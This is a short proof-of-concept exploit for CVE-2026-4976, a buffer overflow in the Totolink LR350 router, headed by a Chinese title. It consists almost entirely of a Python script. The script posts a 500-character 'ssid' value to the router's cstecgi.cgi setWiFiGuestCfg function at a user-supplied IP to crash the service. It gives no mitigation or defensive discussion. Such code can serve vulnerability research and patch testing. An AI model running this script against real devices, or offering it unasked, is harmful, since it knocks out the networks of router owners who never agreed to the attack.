CVE-2026-4976 Totolink LR350缓冲区溢出漏洞

import requests def exploit(target_ip): # Target endpoint url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Headers headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # Vulnerable payload: Buffer overflow in 'ssid' parameter # 'A' * 500 is used to trigger the crash/overflow payload_data = { "function": "setWiFiGuestCfg", "ssid": "A" * 500 } try: # Send the malicious request response = requests.post(url, headers=headers, data=payload_data, timeout=10) print(f"[+] Request sent to {url}") print(f"[+] Status Code: {response.status_code}") # Check if service is down (potential DoS) or behavior changed except requests.exceptions.RequestException as e: print(f"[-] Exploit failed or service crashed: {e}") if __name__ == "__main__": import sys if len(sys.argv) != 2: print("Usage: python poc.py <target_ip>") else: exploit(sys.argv[1])